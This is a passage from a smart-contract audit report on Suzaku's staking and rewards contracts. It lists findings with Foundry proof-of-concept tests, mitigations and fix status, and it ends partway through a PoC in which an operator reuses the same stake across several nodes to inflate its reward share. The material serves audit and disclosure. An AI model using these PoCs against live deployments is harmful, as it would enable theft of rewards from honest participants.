Recommended Mitigation: When distributing rewards for a past epoch, fetch the list of operators who were active during that specific epoch, rather than relying on the current operator list. This can be achieved by maintaining a historical record of operator status per epoch or by querying the operator set as it existed at the target epoch. Additionally, ensure that the `SLASHING_WINDOW` is at least as long as the reward distribution delay (i.e., `SLASHING_WINDOW >= 2 * epochDuration`) to prevent premature removal of operators before their rewards are distributed.

Suzaku: Fixed in commit dc63daa.

Cyfrin: Verified.

7.3.13 Curators will lose reward for an epoch if they lose ownership of vault after epoch but before distribution

Description: The `Rewards` contract calculates and assigns curator shares for each epoch by calling `VaultTokenized(vault).owner()` to determine the curator (vault owner) who should receive rewards. However, this fetches the current owner of the vault at the time of reward distribution, not the owner during the epoch for which rewards are being distributed. Since `VaultTokenized` inherits from `OwnableUpgradeable`, ownership can be transferred at any time using `transferOwnership`. This means that if a vault changes ownership after an epoch ends but before rewards are distributed for that epoch, the new owner will receive the curator rewards for past epochs, even if they were not the owner during those epochs.

Impact: Curator rewards for a given epoch can be claimed by the current owner of the vault, regardless of who owned the vault during that epoch. This allows actors to acquire vaults after an epoch ends but before rewards are distributed, enabling them to retroactively claim curator rewards for periods they did not contribute to. The original owner, who was entitled to the rewards for their activity during the epoch, loses their rightful rewards. This undermines the fairness and intended incentive structure of the protocol.

Proof of Concept:

1. Change the `MockVault.sol` to:

```
// SPDX-License-Identifier: BUSL-1.1
// SPDX-FileCopyrightText: Copyright 2024 ADDPHO
pragma solidity 0.8.25;

interface IVaultTokenized {
    function collateral() external view returns (address);
    function delegator() external view returns (address);
    function activeBalanceOfAt(address, uint48, bytes calldata) external view returns (uint256);
    function activeSharesOfAt(address, uint48, bytes calldata) external view returns (uint256);
    function activeSharesAt(uint48, bytes calldata) external view returns (uint256);
    function owner() external view returns (address);
}

contract MockVault is IVaultTokenized {
    address private _collateral;
    address private _delegator;
    address private _owner;
    mapping(address => uint256) public activeBalance;
    mapping(uint48 => uint256) private _totalActiveShares;

    constructor(address collateralAddress, address delegatorAddress, address owner_) {
        _collateral = collateralAddress;
        _delegator = delegatorAddress;
        _owner = owner_;
```

```
    }

    function collateral() external view override returns (address) {
        return _collateral;
    }

    function delegator() external view override returns (address) {
        return _delegator;
    }

    function activeBalanceOfAt(address account, uint48, bytes calldata) public view override returns
    ↪  (uint256) {
        return activeBalance[account];
    }

    function setActiveBalance(address account, uint256 balance) public {
        activeBalance[account] = balance;
    }

    function owner() public view override returns (address) {
        return _owner;
    }

    function activeSharesOfAt(address account, uint48, bytes calldata) public view override returns
    ↪  (uint256) {
        return 100;
    }

    function activeSharesAt(uint48 timestamp, bytes calldata) public view override returns (uint256) {
        uint256 totalShares = _totalActiveShares[timestamp];
        return totalShares > 0 ? totalShares : 200; // Default to 200 if not explicitly set
    }

    function setTotalActiveShares(uint48 timestamp, uint256 totalShares) public {
        _totalActiveShares[timestamp] = totalShares;
    }

    // Added function to transfer ownership
    function transferOwnership(address newOwner) public {
        require(msg.sender == _owner, "Only owner can transfer ownership");
        require(newOwner != address(0), "New owner cannot be zero address");
        _owner = newOwner;
    }
}
```

2. Add the following test to the `RewardsTest.t.sol`:

```
function test_curatorSharesAssignedToCurrentOwnerInsteadOfHistorical() public {
    uint48 epoch = 1;
    uint256 uptime = 4 hours;

    // Step 1: Setup stakes for epoch 1 to generate curator shares
    _setupStakes(epoch, uptime);

    // Step 2: Get a vault and its initial owner (Owner A)
    address vault = vaultManager.vaults(0);
    address ownerA = MockVault(vault).owner();
    address ownerB = makeAddr("OwnerB");

    // Step 3: Warp to after epoch 1 ends
    uint256 epoch2Start = middleware.getEpochStartTs(epoch + 1);
    vm.warp(epoch2Start);
```

```
    // Step 4: Transfer ownership from Owner A to Owner B
    vm.prank(ownerA);
    MockVault(vault).transferOwnership(ownerB);

    // Step 5: Warp to a time when rewards can be distributed (after 2 epochs)
    uint256 distributionTime = middleware.getEpochStartTs(epoch + 3);
    vm.warp(distributionTime);

    // Step 6: Distribute rewards for epoch 1
    address[] memory operators = middleware.getAllOperators();
    vm.prank(REWARDS_DISTRIBUTOR_ROLE);
    rewards.distributeRewards(epoch, uint48(operators.length));

    // Step 7: Verify curator shares assignment
    uint256 curatorShareA = rewards.curatorShares(epoch, ownerA);
    uint256 curatorShareB = rewards.curatorShares(epoch, ownerB);

    assertEq(curatorShareA, 0, "Owner A should have no curator shares for epoch 1");
    assertGt(curatorShareB, 0, "Owner B should have curator shares for epoch 1");

    // Step 8: Owner B claims curator rewards
    vm.prank(ownerB);
    rewards.claimCuratorFee(address(rewardsToken), ownerB);
    uint256 ownerBBalance = rewardsToken.balanceOf(ownerB);
    assertGt(ownerBBalance, 0, "Owner B should have received curator rewards");

    // Step 9: Owner A attempts to claim and reverts
    vm.prank(ownerA);
    vm.expectRevert(abi.encodeWithSelector(IRewards.NoRewardsToClaim.selector, ownerA));
    rewards.claimCuratorFee(address(rewardsToken), ownerA);
}
```

Recommended Mitigation: Track and store the owner of each vault at the end of every epoch, and use this historical ownership data when assigning curator shares and distributing rewards. This ensures that curator rewards are always credited to the correct owner for each epoch, regardless of subsequent ownership transfers. Implementing an ownership snapshot mechanism at epoch boundaries or when ownership changes can help achieve this.

Suzaku: Acknowledged.

Cyfrin: Acknowledged.

7.3.14 Inaccurate stake calculation due to decimal mismatch across multitoken asset classes

Description: Currently, when calculating the operator stake, the system iterates through all vaults associated with a specific asset class ID and sums all of the staked amounts. However, an asset class may consist of multiple token types (collaterals) that use different decimal precision (e.g., one token with 6 decimals and another with 18). Because the summation logic does not normalize these values to a common decimal base, assets with fewer decimals (e.g., USDC with 6 decimals) may effectively contribute negligible or zero value in the final stake calculation, even though significant value may be staked in that token.

1. Asset Class ID 100 is composed of:
    - Token A with 6 decimals (e.g., USDC).
    - Token B with 18 decimals (e.g., DAI).
2. A vault is created where:
    - 10,000 Token A (USDC) is staked (actual value = 10,000 * 10^6).
    - 10 Token B (DAI) is staked (actual value = 10 * 10^{18}).

3. Current stake summing logic simply adds the raw amounts across vaults.
4. Due to the difference in decimals, 10,000 Token A (USDC) may be treated as “0” or an insignificant amount when compared directly to Token B’s value.
5. The resulting total stake is incorrectly calculated

```
function getOperatorStake(
        address operator,
        uint48 epoch,
        uint96 assetClassId
    ) public view returns (uint256 stake) {
        if (totalStakeCached[epoch][assetClassId]) {
            uint256 cachedStake = operatorStakeCache[epoch][assetClassId][operator];

            return cachedStake;
        }

        uint48 epochStartTs = getEpochStartTs(epoch);

        uint256 totalVaults = vaultManager.getVaultCount();

        for (uint256 i; i < totalVaults; ++i) {
            (address vault, uint48 enabledTime, uint48 disabledTime) =
            ↪  vaultManager.getVaultAtWithTimes(i);

            // Skip if vault not active in the target epoch
            if (!_wasActiveAt(enabledTime, disabledTime, epochStartTs)) {
                continue;
            }

            // Skip if vault asset not in AssetClassID
            if (vaultManager.getVaultAssetClass(vault) != assetClassId) {
                continue;
            }

            uint256 vaultStake = BaseDelegator(IVaultTokenized(vault).delegator()).stakeAt(
                L1_VALIDATOR_MANAGER, assetClassId, operator, epochStartTs, new bytes(0)
            );

            stake += vaultStake;
        }
```

Impact:

- Underreported Stake: Tokens with fewer decimals are underrepresented or ignored entirely in stake calculations.

Proof of Concept: Add this test to `AvalancheL1MiddlewareTest.t.sol` :

```
function test_operatorStakeWithoutNormalization() public {
        uint48 epoch = 1;
        uint256 uptime = 4 hours;

        // Deploy tokens with different decimals
        ERC20WithDecimals tokenA = new ERC20WithDecimals("TokenA", "TKA", 6);  // e.g., USDC
        ERC20WithDecimals tokenB = new ERC20WithDecimals("TokenB", "TKB", 18); // e.g., DAI

        // Deploy vaults and associate with asset class 1
        vm.startPrank(validatorManagerAddress);
        address vaultAddress1 = vaultFactory.create(
            1,
            bob,
```

```
            abi.encode(
                IVaultTokenized.InitParams({
                    collateral: address(tokenA),
                    burner: address(0xdEaD),
                    epochDuration: 8 hours,
                    depositWhitelist: false,
                    isDepositLimit: false,
                    depositLimit: 0,
                    defaultAdminRoleHolder: bob,
                    depositWhitelistSetRoleHolder: bob,
                    depositorWhitelistRoleHolder: bob,
                    isDepositLimitSetRoleHolder: bob,
                    depositLimitSetRoleHolder: bob,
                    name: "Test",
                    symbol: "TEST"
                })
            ),
            address(delegatorFactory),
            address(slasherFactory)
        );
        address vaultAddress2 = vaultFactory.create(
            1,
            bob,
            abi.encode(
                IVaultTokenized.InitParams({
                    collateral: address(tokenB),
                    burner: address(0xdEaD),
                    epochDuration: 8 hours,
                    depositWhitelist: false,
                    isDepositLimit: false,
                    depositLimit: 0,
                    defaultAdminRoleHolder: bob,
                    depositWhitelistSetRoleHolder: bob,
                    depositorWhitelistRoleHolder: bob,
                    isDepositLimitSetRoleHolder: bob,
                    depositLimitSetRoleHolder: bob,
                    name: "Test",
                    symbol: "TEST"
                })
            ),
            address(delegatorFactory),
            address(slasherFactory)
        );
        VaultTokenized vaultTokenA = VaultTokenized(vaultAddress1);
        VaultTokenized vaultTokenB = VaultTokenized(vaultAddress2);
        vm.startPrank(validatorManagerAddress);
        middleware.addAssetClass(2, 0, 100, address(tokenA));
        middleware.activateSecondaryAssetClass(2);
        middleware.addAssetToClass(2, address(tokenB));
        vm.stopPrank();

        address[] memory l1LimitSetRoleHolders = new address[](1);
        l1LimitSetRoleHolders[0] = bob;
        address[] memory operatorL1SharesSetRoleHolders = new address[](1);
        operatorL1SharesSetRoleHolders[0] = bob;

        address delegatorAddress2 = delegatorFactory.create(
            0,
            abi.encode(
                address(vaultTokenA),
                abi.encode(
                    IL1RestakeDelegator.InitParams({
```

```
                baseParams: IBaseDelegator.BaseParams({
                    defaultAdminRoleHolder: bob,
                    hook: address(0),
                    hookSetRoleHolder: bob
                }),
                l1LimitSetRoleHolders: l1LimitSetRoleHolders,
                operatorL1SharesSetRoleHolders: operatorL1SharesSetRoleHolders
            })
        )
    )
);

L1RestakeDelegator delegator2 = L1RestakeDelegator(delegatorAddress2);

address delegatorAddress3 = delegatorFactory.create(
    0,
    abi.encode(
        address(vaultTokenB),
        abi.encode(
            IL1RestakeDelegator.InitParams({
                baseParams: IBaseDelegator.BaseParams({
                    defaultAdminRoleHolder: bob,
                    hook: address(0),
                    hookSetRoleHolder: bob
                }),
                l1LimitSetRoleHolders: l1LimitSetRoleHolders,
                operatorL1SharesSetRoleHolders: operatorL1SharesSetRoleHolders
            })
        )
    )
);
L1RestakeDelegator delegator3 = L1RestakeDelegator(delegatorAddress3);

vm.prank(bob);
vaultTokenA.setDelegator(delegatorAddress2);

// Set the delegator in vault3
vm.prank(bob);
vaultTokenB.setDelegator(delegatorAddress3);

_setOperatorL1Shares(bob, validatorManagerAddress, 2, alice, 100, delegator2);
_setOperatorL1Shares(bob, validatorManagerAddress, 2, alice, 100, delegator3);

vm.startPrank(validatorManagerAddress);
vaultManager.registerVault(address(vaultTokenA), 2, 3000 ether);
vaultManager.registerVault(address(vaultTokenB), 2, 3000 ether);
vm.stopPrank();

_optInOperatorVault(alice, address(vaultTokenA));
_optInOperatorVault(alice, address(vaultTokenB));
//_optInOperatorL1(alice, validatorManagerAddress);

_setL1Limit(bob, validatorManagerAddress, 2, 10000 * 10**6, delegator2);
_setL1Limit(bob, validatorManagerAddress, 2, 10 * 10**18, delegator3);

// Define stakes without normalization
uint256 stakeA = 10000 * 10**6; // 10,000 TokenA (6 decimals)
uint256 stakeB = 10 * 10**18;   // 10 TokenB (18 decimals)

tokenA.transfer(staker, stakeA);
vm.startPrank(staker);
tokenA.approve(address(vaultTokenA), stakeA);
```

```
        vaultTokenA.deposit(staker, stakeA);
        vm.stopPrank();

        tokenB.transfer(staker, stakeB);
        vm.startPrank(staker);
        tokenB.approve(address(vaultTokenB), stakeB);
        vaultTokenB.deposit(staker, stakeB);
        vm.stopPrank();

        vm.warp((epoch + 3) * middleware.EPOCH_DURATION());


        assertNotEq(middleware.getOperatorStake(alice, 2, 2), stakeA + stakeB);

    }
```

Recommended Mitigation: Before summing, normalize all token amounts to a common unit (e.g., 18 decimals).

```
function getOperatorStake(
    address operator,
    uint48 epoch,
    uint96 assetClassId
) public view returns (uint256 stake) {
    if (totalStakeCached[epoch][assetClassId]) {
        return operatorStakeCache[epoch][assetClassId][operator];
    }

    uint48 epochStartTs = getEpochStartTs(epoch);
    uint256 totalVaults = vaultManager.getVaultCount();

    for (uint256 i; i < totalVaults; ++i) {
        (address vault, uint48 enabledTime, uint48 disabledTime) = vaultManager.getVaultAtWithTimes(i);

        // Skip if vault not active in the target epoch
        if (!_wasActiveAt(enabledTime, disabledTime, epochStartTs)) {
            continue;
        }

        // Skip if vault asset not in AssetClassID
        if (vaultManager.getVaultAssetClass(vault) != assetClassId) {
            continue;
        }

-       uint256 vaultStake = BaseDelegator(IVaultTokenized(vault).delegator()).stakeAt(
+       uint256 rawStake = BaseDelegator(IVaultTokenized(vault).delegator()).stakeAt(
            L1_VALIDATOR_MANAGER, assetClassId, operator, epochStartTs, new bytes(0)
        );

+       // Normalize stake to 18 decimals
+       address token = IVaultTokenized(vault).underlyingToken();
+       uint8 tokenDecimals = IERC20Metadata(token).decimals();
+
+       if (tokenDecimals < 18) {
+           rawStake *= 10 ** (18 - tokenDecimals);
+       } else if (tokenDecimals > 18) {
+           rawStake /= 10 ** (tokenDecimals - 18);
+       }

-       stake += vaultStake;
+       stake += rawStake;
    }
}
```

Suzaku: Fixed in commit ccd5e7d.

Cyfrin: Verified.

7.3.15 Accumulative reward setting to prevent overwrite and support incremental updates

Description: The `Rewards::setRewardsAmountForEpochs` function allows an authorized distributor to set a fixed reward amount for a specific number of future epochs. This is typically called to define reward schedules—for example, assigning 20 tokens per epoch from epoch 1 to 5.

However, the current implementation **does not check whether rewards have already been set** for the target epochs. As a result, calling this function again for the same epochs **silently overrides the existing rewards**, leading to unintended consequences:

1. **Previously allocated rewards are overwritten.**
2. **New rewards are written to storage, but tokens from the previous call remain locked in the contract**, as there is no mechanism to refund or reallocate them.

Assume the following:

1. Distributor calls `setRewardsAmountForEpochs(1, 1, USDC, 100)` → Epoch 1 is allocated 100 USDC → 100 USDC is transferred into the contract
2. Later, a second call is made: `setRewardsAmountForEpochs(1, 1, USDC, 50)` → Epoch 1 is now reallocated to 50 USDC → **Original 100 USDC still sits in the contract**, but only 50 will be distributed → The difference (100 USDC) becomes stuck

Impact: Loss of Funds: Overwritten rewards are effectively stranded in the contract with no mechanism to recover or redistribute them. **Unexpected Behavior for Distributors:** Calling `setRewardsAmountForEpochs` twice for the same epoch silently overrides the original intent without warning.

Proof of Concept: Add this test to `Rewards`:

```
function test_setRewardsAmountForEpochs() public {
        uint256 rewardsAmount = 1_000_000 * 10 ** 18;
        ERC20Mock rewardsToken1 = new ERC20Mock();
        rewardsToken1.mint(REWARDS_DISTRIBUTOR_ROLE, 2 * 1_000_000 * 10 ** 18);
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewardsToken1.approve(address(rewards), 2 * 1_000_000 * 10 ** 18);
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.setRewardsAmountForEpochs(5, 1, address(rewardsToken1), rewardsAmount);
        assertEq(rewards.getRewardsAmountPerTokenFromEpoch(5, address(rewardsToken1)), rewardsAmount -
        ↪  Math.mulDiv(rewardsAmount, 1000, 10000));
        assertEq(rewardsToken1.balanceOf(address(rewards)), rewardsAmount);
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.setRewardsAmountForEpochs(5, 1, address(rewardsToken1), rewardsAmount);
        assertEq(rewardsToken1.balanceOf(address(rewards)), rewardsAmount * 2 );

        assertEq(rewards.getRewardsAmountPerTokenFromEpoch(5, address(rewardsToken1)), (rewardsAmount -
        ↪  Math.mulDiv(rewardsAmount, 1000, 10000)) * 2);
    }
```

Recommended Mitigation:

Add a **guard clause** in the `setRewardsAmountForEpochs` function to **prevent overwriting rewards** for epochs that already have a value set:

```
for (uint48 i = 0; i < numberOfEpochs; i++) {

-     rewardsAmountPerTokenFromEpoch[startEpoch + i].set(rewardsToken, rewardsAmount);
+     uint256 existingAmount = rewardsAmountPerTokenFromEpoch[targetEpoch].get(rewardsToken);
```

```
+    rewardsAmountPerTokenFromEpoch[targetEpoch].set(rewardsToken, existingAmount + rewardsAmount);
}
```

Suzaku: Fixed in commit a5c4913.

Cyfrin: Verified.

7.3.16 Rewards distribution DoS due to uncached secondary asset classes

Description: The rewards calculation directly accesses the totalStakeCache mapping instead of using the getTotalStake() function with proper fallback logic:

```
function _calculateOperatorShare(uint48 epoch, address operator) internal {
  // code..

  uint96[] memory assetClasses = l1Middleware.getAssetClassIds();
  for (uint256 i = 0; i < assetClasses.length; i++) {
       uint256 totalStake = l1Middleware.totalStakeCache(epoch, assetClasses[i]); //@audit directly
       ↪  accesses totalStakeCache
  }
}
```

Only specific operations trigger caching for secondary asset classes:

```
// @audit following only cache PRIMARY_ASSET_CLASS (asset class 1)
addNode(...) updateStakeCache(getCurrentEpoch(), PRIMARY_ASSET_CLASS)
forceUpdateNodes(...) updateStakeCache(getCurrentEpoch(), PRIMARY_ASSET_CLASS)

// @audit only caches the specific asset class being slashed
slash(epoch, operator, amount, assetClassId) updateStakeCache(epoch, assetClassId)
```

Secondary asset classes (2, 3, etc.) are only cached when:

- Slashing occurs for that specific asset class (infrequent)
- Manual calcAndCacheStakes() calls (requires intervention)

As a result, when rewards distributor calls `distributeRewards`, for the specific asset class ID with uncached stake, `_calculateOperatorShare` leads to a division by zero error.

Impact: Rewards distribution fails for affected epochs. It is worthwhile to note that DoS is temporary - manual intervention by calling `calcAndCacheStakes` for specific asset class ID's can fix the DoS error.

Proof of Concept: Add the following test to `RewardsTest.t.sol`

```
function test_RewardsDistributionDOS_With_UncachedSecondaryAssetClasses() public {
    uint48 epoch = 1;
    uint256 uptime = 4 hours;

    // Setup stakes for operators normally
    _setupStakes(epoch, uptime);

    // Set totalStakeCache to 0 for secondary asset classes to simulate uncached state
    middleware.setTotalStakeCache(epoch, 2, 0); // Secondary asset class 2
    middleware.setTotalStakeCache(epoch, 3, 0); // Secondary asset class 3

    // Keep primary asset class cached (this would be cached by addNode/forceUpdateNodes)
    middleware.setTotalStakeCache(epoch, 1, 100000); // This stays cached


    // Move to epoch where distribution is allowed (must be at least 2 epochs ahead)
    vm.warp((epoch + 3) * middleware.EPOCH_DURATION());
```

```
    // Attempt to distribute rewards - this should fail due to division by zero
    // when _calculateOperatorShare tries to calculate rewards for uncached secondary asset classes
    vm.expectRevert(); // This should revert due to division by zero in share calculation

    vm.prank(REWARDS_DISTRIBUTOR_ROLE);
    rewards.distributeRewards(epoch, 3);
}
```

Recommended Mitigation: Consider checking and caching stake for assetIds if it doesn't exist.

```
function _calculateOperatorShare(uint48 epoch, address operator) internal {
  // code..

  uint96[] memory assetClasses = l1Middleware.getAssetClassIds();
  for (uint256 i = 0; i < assetClasses.length; i++) {
++       uint256 totalStake = l1Middleware.totalStakeCache(epoch, assetClasses[i]);
++       if (totalStake == 0) {
++            l1Middleware.calcAndCacheStakes(epoch, assetClasses[i]);
++             totalStake = l1Middleware.totalStakeCache(epoch, assetClasses[i]);
++       }
       // code
  }
}
```

Suzaku: Fixed in commit f76d1f4.

Cyfrin: Verified.

7.3.17 Uptime loss due to integer division in `UptimeTracker::computeValidatorUptime` can make validator lose entire rewards for an epoch

Description: `UptimeTracker::computeValidatorUptime` loses validator uptime due to integer division truncation when distributing uptime across multiple epochs. This results in validators losing reward eligibility for uptime they legitimately earned.

```
// UptimeTracker::computeValidatorUptime
// Distribute the recorded uptime across multiple epochs
if (elapsedEpochs >= 1) {
    uint256 uptimePerEpoch = uptimeToDistribute / elapsedEpochs; // @audit integer division
    for (uint48 i = 0; i < elapsedEpochs; i++) {
        uint48 epoch = lastUptimeEpoch + i;
        if (isValidatorUptimeSet[epoch][validationID] == true) {
            break;
        }
        validatorUptimePerEpoch[epoch][validationID] = uptimePerEpoch; // @audit time loss due to
        ↪  precision
        isValidatorUptimeSet[epoch][validationID] = true;
    }
}
```

Integer division in Solidity truncates the remainder:

- `uptimeToDistribute / elapsedEpochs` loses `uptimeToDistribute % elapsedEpochs`
- The lost remainder is never recovered in future calculations
- Each call to `computeValidatorUptime` can lose up to `elapsedEpochs - 1` seconds

This truncation could become a serious issue in edge cases where the uptime is close to the minimum uptime threshold to qualify for rewards. If the truncated uptime is even 1 second less than `minRequiredTime`, the entire rewards for the validator become zero for that epoch.

```
//Rewards.sol
function _calculateOperatorShare(uint48 epoch, address operator) internal {
    uint256 uptime = uptimeTracker.operatorUptimePerEpoch(epoch, operator);
    if (uptime < minRequiredUptime) {
        operatorBeneficiariesShares[epoch][operator] = 0;  // @audit no rewards
        operatorShares[epoch][operator] = 0;
        return;
    }
    // ... calculate rewards normally
}
```

Impact: Precision loss due to integer division can make a validator lose entire rewards for an epoch in certain edge cases.

Proof of Concept: Add the test to `UptimeTrackerTest.t.sol`

```
function test_UptimeTruncationCausesRewardLoss() public {


        uint256 MIN_REQUIRED_UPTIME = 11_520;

        console2.log("Minimum required uptime per epoch:", MIN_REQUIRED_UPTIME, "seconds");
        console2.log("Epoch duration:", EPOCH_DURATION, "seconds");

        // Demonstrate how small time lost can have big impact
        uint256 totalUptime = (MIN_REQUIRED_UPTIME * 3) - 2; // 34,558 seconds across 3 epochs
        uint256 elapsedEpochs = 3;
        uint256 uptimePerEpoch = totalUptime / elapsedEpochs; // 11,519 per epoch
        uint256 remainder = totalUptime % elapsedEpochs; // 2 seconds lost

        console2.log("3 epochs scenario:");
        console2.log("  Total uptime:", totalUptime, "seconds (9.6 hours!)");
        console2.log("  Epochs:", elapsedEpochs);
        console2.log("  Per epoch after division:", uptimePerEpoch, "seconds");
        console2.log("  Lost to truncation:", remainder, "seconds");
        console2.log("  Result: ALL 3 epochs FAIL threshold!");


        // Verify
        assertFalse(uptimePerEpoch >= MIN_REQUIRED_UPTIME, "Fails threshold due to truncation");
    }
```

Recommended Mitigation: Consider distributing the remaining uptime either evenly to as many epochs as possible or simply distribute it to the latest epoch.

Suzaku: Fixed in commit 6c37d1c.

Cyfrin: Verified.

7.3.18 Operator can over allocate the same stake to unlimited nodes within one epoch causing weight inflation and reward theft

Description: The `AvalancheL1Middleware::addNode()` function is the entry-point an operator calls to register a new P-chain validator. Before accepting the request the function asks `_getOperatorAvailableStake()` how much of the operator's collateral is still free. That helper subtracts only `operatorLockedStake[operator]` from `totalStake`.

```
    function addNode(
        bytes32 nodeId,
        bytes calldata blsKey,
        uint64 registrationExpiry,
```

```
        PChainOwner calldata remainingBalanceOwner,
        PChainOwner calldata disableOwner,
        uint256 stakeAmount // optional
    ) external updateStakeCache(getCurrentEpoch(), PRIMARY_ASSET_CLASS)
    ↪  updateGlobalNodeStakeOncePerEpoch {
        ...
        ...

        bytes32 valId =
        ↪  balancerValidatorManager.registeredValidators(abi.encodePacked(uint160(uint256(nodeId))));
        uint256 available = _getOperatorAvailableStake(operator);
        ...
        ...
    }
```

```
    function _getOperatorAvailableStake(
        address operator
    ) internal view returns (uint256) {
        uint48 epoch = getCurrentEpoch();
        uint256 totalStake = getOperatorStake(operator, epoch, PRIMARY_ASSET_CLASS);

        ...
        ...

        uint256 lockedStake = operatorLockedStake[operator];
        if (totalStake <= lockedStake) {
            return 0;
        }
        return totalStake - lockedStake;
    }
```

However, `AvalancheL1Middleware::addNode()` never **increments** `operatorLockedStake` after it decides to use `newStake`. As long as the call happens in the same epoch `lockedStake` remains 0, so every subsequent call to `addNode()` sees the *full* collateral as still "free" and can register another validator of maximal weight. Per-operator stake is therefore double-counted while the epoch is in progress.

Removal of the excess nodes is only possible through `AvalancheL1Middleware::forceUpdateNodes()`, which is gated by `onlyDuringFinalWindowOfEpoch` and can be executed **only after** the epoch's `UPDATE_WINDOW` has elapsed. Because reward accounting (`getOperatorUsedStakeCachedPerEpoch()` → `getActiveNodesForEpoch()`) snapshots validators at the **start** of the epoch, all the extra nodes created early in the epoch are treated as fully active for the whole rewards period. The attacker can therefore inflate their weight and capture a disproportionate share of the epoch's reward pool.

```
function getActiveNodesForEpoch(
    address operator,
    uint48 epoch
) external view returns (bytes32[] memory activeNodeIds) {
    uint48 epochStartTs = getEpochStartTs(epoch);

    // Gather all nodes from the never-removed set
    bytes32[] memory allNodeIds = operatorNodes[operator].values();

    bytes32[] memory temp = new bytes32[](allNodeIds.length);
    uint256 activeCount;

    for (uint256 i = 0; i < allNodeIds.length; i++) {
        bytes32 nodeId = allNodeIds[i];
        bytes32 validationID =
            balancerValidatorManager.registeredValidators(abi.encodePacked(uint160(uint256(nodeId))));
        Validator memory validator = balancerValidatorManager.getValidator(validationID);
```

```
        if (_wasActiveAt(uint48(validator.startedAt), uint48(validator.endedAt), epochStartTs)) {
            temp[activeCount++] = nodeId;
        }
    }

    activeNodeIds = new bytes32[](activeCount);
    for (uint256 j = 0; j < activeCount; j++) {
        activeNodeIds[j] = temp[j];
    }
}
```

Impact: * A malicious operator can spin up an unlimited number of validators without added collateral, blowing past intended per-operator limits.

- Reward distribution is skewed: the sum of operator, vault and curator shares exceeds 100 % and honest participants are diluted.

Proof of Concept:

```
//
// PoC: Exploiting the missing stake-locking in addNode()
//
import {AvalancheL1MiddlewareTest} from "./AvalancheL1MiddlewareTest.t.sol";

import {Rewards}            from "src/contracts/rewards/Rewards.sol";
import {MockUptimeTracker}  from "../mocks/MockUptimeTracker.sol";
import {ERC20Mock}          from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

import {VaultTokenized}     from "src/contracts/vault/VaultTokenized.sol";
import {PChainOwner}        from
↪  "@avalabs/teleporter/validator-manager/interfaces/IValidatorManager.sol";

import {console2}           from "forge-std/console2.sol";

contract PoCMissingLockingRewards is AvalancheL1MiddlewareTest {
    //  helpers & globals
    MockUptimeTracker internal uptimeTracker;   // Simulates uptime records
    Rewards           internal rewards;         // Rewards contract under test
    ERC20Mock         internal rewardsToken;    // Dummy ERC-20 for payouts

    address internal REWARDS_MANAGER_ROLE    = makeAddr("REWARDS_MANAGER_ROLE");
    address internal REWARDS_DISTRIBUTOR_ROLE = makeAddr("REWARDS_DISTRIBUTOR_ROLE");

    // Main exploit routine ----------------------------------------------------
    function test_PoCRewardsManipulated() public {
        _setupRewards();                                    // 1. deploy & fund rewards system
        address[] memory operators = middleware.getAllOperators();

        // --- STEP 1: move to a fresh epoch ---------------------------------
        console2.log("Warping to a fresh epoch");
        vm.warp(middleware.getEpochStartTs(middleware.getCurrentEpoch() + 1));
        uint48 epoch = middleware.getCurrentEpoch();          // snapshot for later

        // --- STEP 2: create *too many* nodes for Alice ----------------------
        console2.log("Creating 4 nodes for Alice with the same stake");
        uint256 stake1 = 200_000_000_002_000;          // Alice's full stake
        _createAndConfirmNodes(alice, 4, stake1, true);     // ← re-uses the same stake 4 times

        // Charlie behaves honestly - one node, fully staked
        console2.log("Creating 1 node for Charlie with the full stake");
        uint256 stake2 = 150_000_000_000_000;
        _createAndConfirmNodes(charlie, 1, stake2, true);
```

```
    // --- STEP 3: Remove Alice's unbacked nodes at the earliest possible moment------
    console2.log("Removing Alice's unbacked nodes at the earliest possible moment");
    uint48 nextEpoch = middleware.getCurrentEpoch() + 1;
    uint256 afterUpdateWindow =
        middleware.getEpochStartTs(nextEpoch) + middleware.UPDATE_WINDOW() + 1;
    vm.warp(afterUpdateWindow);
    middleware.forceUpdateNodes(alice, type(uint256).max);

    // --- STEP 4: advance to the rewards epoch ---------------------------
    console2.log("Advancing and caching stakes");
    _calcAndWarpOneEpoch();                                  // epoch rollover, stakes cached
    middleware.calcAndCacheStakes(epoch, assetClassId);   // ensure operator stakes cached

    // --- STEP 5: mark everyone as fully up for the epoch ----------------
    console2.log("Marking everyone as fully up for the epoch");
    for (uint i = 0; i < operators.length; i++) {
        uptimeTracker.setOperatorUptimePerEpoch(epoch, operators[i], 4 hours);
    }

    // --- STEP 6: advance a few epochs so rewards can be distributed -------
    console2.log("Advancing 3 epochs so rewards can be distributed ");
    _calcAndWarpOneEpoch(3);

    // --- STEP 7: distribute rewards (attacker gets oversized share) -----
    console2.log("Distributing rewards");
    vm.prank(REWARDS_DISTRIBUTOR_ROLE);
    rewards.distributeRewards(epoch, uint48(operators.length));

    // --- STEP 8: verify that the share accounting exceeds 100 % ---------
    console2.log("Verifying that the share accounting exceeds 100 %");
    uint256 totalShares = 0;
    // operator shares
    for (uint i = 0; i < operators.length; i++) {
        totalShares += rewards.operatorShares(epoch, operators[i]);
    }
    // vault shares
    address[] memory vaults = vaultManager.getVaults(epoch);
    for (uint i = 0; i < vaults.length; i++) {
        totalShares += rewards.vaultShares(epoch, vaults[i]);
    }
    // curator shares
    for (uint i = 0; i < vaults.length; i++) {
        totalShares += rewards.curatorShares(epoch, VaultTokenized(vaults[i]).owner());
    }
    assertGt(totalShares, 10000); // > 100 % allocated

    // --- STEP 9: attacker & others claim their rewards ---------
    console2.log("Claiming rewards");
    _claimRewards(epoch);
}

// Claim helper - each stakeholder pulls what the Rewards contract thinks
// they earned (spoiler: the attacker earns too much)
function _claimRewards(uint48 epoch) internal {
    address[] memory operators = middleware.getAllOperators();
    // claim as operators ---------------------------------------------------
    for (uint i = 0; i < operators.length; i++) {
        address op = operators[i];
        vm.startPrank(op);
        if (rewards.operatorShares(epoch, op) > 0) {
            rewards.claimOperatorFee(address(rewardsToken), op);
```

```
            }
            vm.stopPrank();
        }
        // claim as vaults / stakers ----------------------------------------
        address[] memory vaults = vaultManager.getVaults(epoch);
        for (uint i = 0; i < vaults.length; i++) {
            vm.startPrank(staker);
            rewards.claimRewards(address(rewardsToken), vaults[i]);
            vm.stopPrank();

            vm.startPrank(VaultTokenized(vaults[i]).owner());
            rewards.claimCuratorFee(address(rewardsToken), VaultTokenized(vaults[i]).owner());
            vm.stopPrank();
        }
        // protocol fee -----------------------------------------------------
